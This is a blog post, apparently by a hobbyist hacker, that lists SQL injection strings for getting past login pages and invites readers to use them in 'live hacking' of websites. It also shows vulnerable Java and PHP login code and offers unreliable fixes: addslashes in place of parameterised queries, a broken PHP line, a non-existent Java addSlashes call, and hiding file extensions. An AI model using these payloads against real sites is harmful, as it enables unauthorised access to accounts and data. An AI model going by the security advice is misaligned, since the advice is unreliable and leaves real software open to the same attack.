SQL injection strings for Hack Any Login Page

Here I am posting some of the SQL injection strings that you can use to hack into the website.

I have done some practical work out of this, if someone wants to go live hacking using these SQL injection strings, contact to me.

If someone is pro of breaking into venerable systems and sites. please share your expriences/

‘ or 0=0 –
‘ or 0=0 –’
‘ or 0=0 #
” or 0=0 –
” or 0=0 –’
‘” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
” or 1=1–
or 1=1–
‘ or a=a–’
‘ or a=a #
‘ or a=a–
‘ or “a”=”a
‘ or ‘a’='a
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”a
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’='a
” or “a”=”a

‘) or (‘a’='a

admin’–
‘ or 1=1–
‘” or 1=1–
‘ union select 1, ‘Eyeless’, ‘ez2do’, 1–
admin’–
administrator’–
superuser’–
test’–

This is the short list but these SQL injection strings are much powerful.

I have another hint :

Some of the SQL supporting system doesn’t support.

For example
” or “a”=”a
‘) or (‘a’='a

on some databases one would work, other wouldn’t.. first one would enclose the username (or pass) in quotes… first it would CLOSE the quotes (making it “”) and then says.. or “a”=”a.. the last quote would be closeing the final a.. and “a”=”a” is always true, so that would be how it works
however, the second uses (‘Username’).. and changing it to say “(”) or (‘a’='a’)”

Enjoy the HACK DAY 

SQL Injection like this 

Login Java Code

String userid = request.getParameter("userid");
String password = request.getParameter("password");
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
connection = DriverManager.getConnection("jdbc:odbc:projectDB");

query = "SELECT * FROM Users WHERE user_id ='" + userid + "' AND password ='" + password +"'";

PreparedStatement ps = connection.prepareStatement(query);
ResultSet users = ps.executeQuery();

if(users.next()){

//some thing here
}
else{

}

Injection Works like this

query = "SELECT * FROM Users WHERE user_id ='' OR 1=1; /* AND password ='*/--'";

Login PHP Code;
Username = ' OR 1=1;//
Password = ....

$myusername=$_POST['usr'];
$mypassword=$_POST['pwd'];

$sql="SELECT * FROM users WHERE user='$myusername' and password='$mypassword'";

$result=mysql_query($sql);
$count=mysql_num_rows($result);

if($count==1){

//some code
}
else {

}

Injection Works like this

$sql="SELECT * FROM users WHERE user=''OR 1 = 1;//' and password='....'";

How to avoid these mistakes Use addSlashes() function adding slashes(/) to the string in java and php

//Java Code
addSlashes(String userid);

// PHP Code
$myusername=addslashes($_POST['usr'];);

Hacker is intelligent than programmer. So always hide the file extension (eg: *.jsp,*.php,*.asp).

http://xyz.com/login.php to http://xyz.com/login
http://xyz.com/login to http://xyz.com/signin.do
In Java redirect this URL links using Web.xml file and inn php write .htaccess file in root directory.


By Kaila Piyush
My Google Profile HackingArticles4all.blogspot.com